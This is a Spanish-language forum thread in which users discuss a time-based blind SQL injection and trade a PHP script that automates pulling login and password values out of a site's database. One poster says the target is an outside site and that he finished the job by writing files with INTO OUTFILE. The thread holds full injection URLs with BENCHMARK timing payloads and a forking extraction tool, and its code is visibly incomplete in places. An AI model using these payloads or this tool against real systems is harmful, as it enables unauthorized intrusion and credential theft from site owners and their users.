Autor
|
Tema: Problemas con Time-based Blind SQLI , Obtencion de Minusculas y Mayusculas (Leído 4,536 veces)
|
OzX
Desconectado
Mensajes: 406
[NuKe] Team
|
Hi Espero que alguie me pueda dar un cable. Mi Problema es el Sguiente Tengo una Inyeccion Time-based Blind SQL; que me funciona de maravillas. Dato = es lo mismo que hacer 2+and+1=0+union+select+all+1,2,3,4,5,6,7,8,9/* <= INY NORMAL. http://www.site.com/bug.php?=2+UNION+SELECT+IF+(SUBSTRING(concat_ws(0x5F5F,login,password),0,1)/**/=/**/CHAR(%2297%22),BENCHMARK(1500000,MD5(CHAR(1))),NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL+FROM+bd.tabla+WHERE+id=1+LIMIT+0,1/*
Cuando es Falso tiene un Retorno de 4 a 7 segundos y cuando es verdadero tiene un deface de mas de 15 seg, entre 20 a 21 segundos. Codie una tool para este fallo, q me permite automatizar todo, lo posteo por si alguien luego nececita algun cable con esto. php script.php 1 97 //Empieza del 2 caracter a buscar desde la letra a function GET($url) { $header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"; $header[] = "Cache-Control: max-age=0"; $header[] = "Connection: keep-alive"; $header[] = "Keep-Alive: 300"; $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7"; $header[] = "Accept-Language: en-us,en;q=0.5"; $header[] = "Pragma: "; curl_setopt($curl, CURLOPT_USERAGENT , 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4'); curl_setopt($curl, CURLOPT_REFERER , 'http://www.google.com'); } return $html; } $v = $argv[2]; //desde donde empieza el ansii $limit = $argv[1]; // valor q obtener, el primero, segundo tercer caracter , 1,2,3 for($x=$v;$x<=122;$x++){ echo "[+] Testing :> ".$x." =================> ".chr($x); $source = GET("http://www.site.com/bug=2+UNION+SELECT+IF+(SUBSTRING(concat_ws(0x5F5F,login,password),".$limit.",1)/**/=/**/CHAR(%22".$x."%22),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+db.tabla+where+id=1+limit+0,1/*"); $difftime=$endtime - $starttime; echo " DIFERENCIA -> ".$difftime."\r\n"; if ($difftime >15){ //Tiempo max de Respuesta TRUE echo " DIFERENCIA -> ".$difftime."\r\n"; echo " #####################ENCONTRADO [ ANSII[".$x."] ".$limit." ] ===> ".chr($x)."\r\n"; } }
buenooo. ahora bien obtengo todos los datos que nececito, pero me surgio un gran drama, la pass y el user es case sentitive, por lo cual nececito ver si son mayusculas o minisculas, pero el blind me tira la misma cantidad de tiempo cuando es una A mayusculas que cuando es una a miniscula, y nose porque, 115 (s) y 83(S), son 2 numeros distintos pero de igual forma, me dice que es verdadero. ozx@OzX:~/Escritorio$ php adminblind.php 1 115 - Testing :> 115 =================> s DIFERENCIA -> 20
DIFERENCIA -> 20 #####################ENCONTRADO [ ANSII[115] 1 ] ===> s ozx@OzX:~/Escritorio$ php adminblind.php 1 83 - Testing :> 83 =================> S DIFERENCIA -> 21
DIFERENCIA -> 21 #####################ENCONTRADO [ ANSII[83] 1 ] ===> S ¿Como podria atravez de la Iny indentificar si es LOWER o UPPER ? taba provando algunos SELECT+IF+LOWER, y UPPER, pero la iny se me va al carajo.. Alguna idea? Saludos¡
|
|
« Última modificación: 1 Febrero 2009, 19:39 pm por OzX »
|
En línea
|
Undersecurity.net
|
|
|
nacho87
|
estas seguro de que el sistema es case sensitive? porque si te reconoce como iguales un char en mayusculas y otro en minusculas es porque al sistema le da igual una que otra. No se si estas haciendo las pruebas en tu sistema o en alguno que conozcas y conoces el resultado que te debería dar pero sino, no puede ser que te esté dando el hash del password, que éste si sea indiferente entre minusculas y mayusculas?
|
|
|
En línea
|
|
|
|
OzX
Desconectado
Mensajes: 406
[NuKe] Team
|
Completamente seguro que es case. es un site externo.
pues creo que el problema esta , en la misma inyecion, porque creo el traspaso directo con char(number), por lo cual testeare con la otra forma, ansii(substring... etc.
Si me va bien cuento q tal ¡
|
|
|
En línea
|
Undersecurity.net
|
|
|
OzX
Desconectado
Mensajes: 406
[NuKe] Team
|
lo solucione xd¡ aunque no de la mejor forma. tenia magic quotes off, y privilegios de Y , Into OUT FIle, y ya fue historia xD¡. de todas formas es bastante particular el time based.
Saludos¡
|
|
|
En línea
|
Undersecurity.net
|
|
|
berz3k
|
duh ? @OzX finalmente como quedo el codigo y el solve diferenciador Mayusculas/Minusculas, los chars especiales si te los toma en cuenta, haz hecho la prueba? -berz3k.
|
|
|
En línea
|
|
|
|
OzX
Desconectado
Mensajes: 406
[NuKe] Team
|
duh ? @OzX finalmente como quedo el codigo y el solve diferenciador Mayusculas/Minusculas, los chars especiales si te los toma en cuenta, haz hecho la prueba? -berz3k. jawjwajwaj XD ascii(substring(( http://www.site.com/bug.php=2+UNION+SELECT+IF+(ASCII(SUBSTRING(group_concat(login,0x5F,password),0,1)=97),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+db.tabla+where+id=1+limit+1,1/*
asi me resulto, osea asi me indentificaba las mayus de las minus. pero logre obtener lo que queria con into out file, al tener magic quotes off y permisos Adecuados Por si alguien le Podria Interesar o ser Util en algo, dejo el code que utilize. <? //Coded by OzX http://foro.undersecurity.net function GET($url) { $header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"; $header[] = "Cache-Control: max-age=0"; $header[] = "Connection: keep-alive"; $header[] = "Keep-Alive: 300"; $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7"; $header[] = "Accept-Language: en-us,en;q=0.5"; $header[] = "Pragma: "; curl_setopt($curl, CURLOPT_USERAGENT , 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4'); curl_setopt($curl, CURLOPT_REFERER , 'http://www.google.com'); } return $html; } function ordenar($file){ foreach ($file as $var){ $vars[$ansii] = $valores; } foreach ($vars as $var){ } return array($data,$vars); } function blind_time($limit,$file,$db,$tabla,$columna){ $ascii = array (44,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,#a-z 47,32,0, //null, space, _, , 48,49,50,51,52,53,54,55,56,57, #0-9 65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90, #A-Z 33,35,36,37,38,45,46 ); for ($x=0;$x<=count($ascii);$x++){ $char = $ascii[$x]; echo "[+] ".$limit ." >>> Testing :> ".$char." =================> ".chr($char)."\r\n"; $source = GET("http://www.site.com/bug.php?=2+UNION+SELECT+IF+(SUBSTRING(group_concat(login,0x5F,password),".$limit.",1)/**/=/**/CHAR(%22".$char."%22),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+db.tabla+limit+0,1/*"); $difftime=$endtime - $starttime; //echo " DIFERENCIA -> ".$difftime."\r\n"; if ($difftime >15){ $info = $limit . ">".chr($char)."\n"; $string.= chr($char); //Obtenemos el Valor y lo Guardamos echo "[".$limit."] > ENCONTRADO :>>>>>>>>>>> ".$string."\r\n"; } } } $limit = $argv[2]; $start = $argv[1]; //$db = $argv[3]; //$tabla = $argv[4]; //$columna = $argv[5]; } for($i=$start;$i<=$limit;$i++) { $pid = pcntl_fork(); if($pid == -1) { die('ERROR FORK'); } else if ($pid) { $pids[] = $pid; } else { blind_time($i,$file,$db,$tabla,$columna); } } foreach($pids as $pid) { pcntl_waitpid($pid, $status); } list($data,$vars) = ordenar ($file); echo "TABLA :> ".$tabla." COLUMNA :>> ".$columna."\r\n"; echo "Valor Obtenido :> ".$data."\r\n"; echo "DEBUG :>\r\n"; ?>
los saca como el diablo, bastante rapido, para ser un time blind, porque si se hace letra a letra se demora bastante. Saludos¡ OzX¡
|
|
« Última modificación: 5 Febrero 2009, 18:11 pm por OzX »
|
En línea
|
Undersecurity.net
|
|
|
berz3k
|
Venga, lo pruebo hoy por la noche y ya te cuento OzX
-berz3k.
|
|
|
En línea
|
|
|
|
berz3k
|
Me gusta tu code PHP te ha quedado muy wuapo, sin embargo estoy trasteando cada vez mas en PHP, ahora el string a testear es el siguiente (manualmente) : http://x.x.x.x/blind.php?id=1+AND+ascii(substring((SELECT+password+FROM+users+where+id=1),7,1))=95 http://x.x.x.x/blind.php?id=1+AND+ascii(substring((SELECT+password+FROM+users+where+id=1),7,1))=96 http://x.x.x.x/blind.php?id=1+AND+ascii(substring((SELECT+password+FROM+users+where+id=1),7,1))=97
Para solo cuestiones de prueba y ver su funcionamiento en PHP a traves de tu code he intentado algunas cosas, vaya que lo tengo hecho en PERL y me funciona correctamente, pero me estoy enamorando de PHP por su facilidad de programar XD Segun yo, y solo para pruebas podria ser: $source = GET("http://x.x.x.x/blind.php?id=1+UNION+SELECT+IF+(SUBSTRING(group_concat(user,0x5F,password),".$limit.",1)/**/=/**/CHAR(%22".$char."%22),BENCHMARK(1500000,MD5(CHAR(1))),null)+from+users+limit+0,1/*");
o Tambien $source = GET("http://x.x.x.x/blind.php?id=1+UNION+SELECT+IF+(SUBSTRING(group_concat(user,0x5F,password),".$limit.",1)/**/=/**/CHAR(%22".$char."%22),BENCHMARK(1500000,MD5(CHAR(1))))+from+users+limit+0,1/*");
Mmm algo anda mal, probare mas tarde, ideas OzX? Ejempo TABLA +++++++++++++++++++++++++++++++++++++++++ | users | +++++++++++++++++++++++++++++++++++++++++ | id | name | password | +++++++++++++++++++++++++++++++++++++++++ | 1 | administrator | 1234%&_ | | 2 | | | | 3 | | | +++++++++++++++++++++++++++++++++++++++++
Aunque podria agregar la funcion ASCII(SUBSTRING etc etc)+from+users, pero no tendria caso los arrays que declaro OzX. -berz3k.
|
|
« Última modificación: 10 Febrero 2009, 21:57 pm por berz3k »
|
En línea
|
|
|
|
OzX
Desconectado
Mensajes: 406
[NuKe] Team
|
Hi Brota Codie esta tool para una inyeccion tipo union+select+all+1,2,3,4,5,6,7,8,9. http://www.site.com/bug.php?=2+UNION+SELECT+IF+(SUBSTRING(group_concat(login,0x5F,password),".$limit.",1)/**/=/**/CHAR(%22".$char."%22),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+db.tabla+limit+0,1/*" Por eso los 9 null. Ahora voy a montar un LocalHost , con un falla de blind con los mismos datos, y posteo el code modificado y ver en k taba fallando . Saludos¡
|
|
|
En línea
|
Undersecurity.net
|
|
|
berz3k
|
@OzX
Yep. tambien elimine los "nulls" no necesarios, algo me falta..., ando metido en muchas cosas, espero fixear parte de tu code en esta semana, seguramente me lo fixeas antes tu XD, es el mismo proposito pero sin usar el ASCII(substring etc etc) ya que tomara los arrays de tu code, que previamente haz declarado para MAYUSCULAS, MINUSCULAS, chars etc.
-berz3k.
|
|
« Última modificación: 11 Febrero 2009, 08:13 am por berz3k »
|
En línea
|
|
|
|
|
|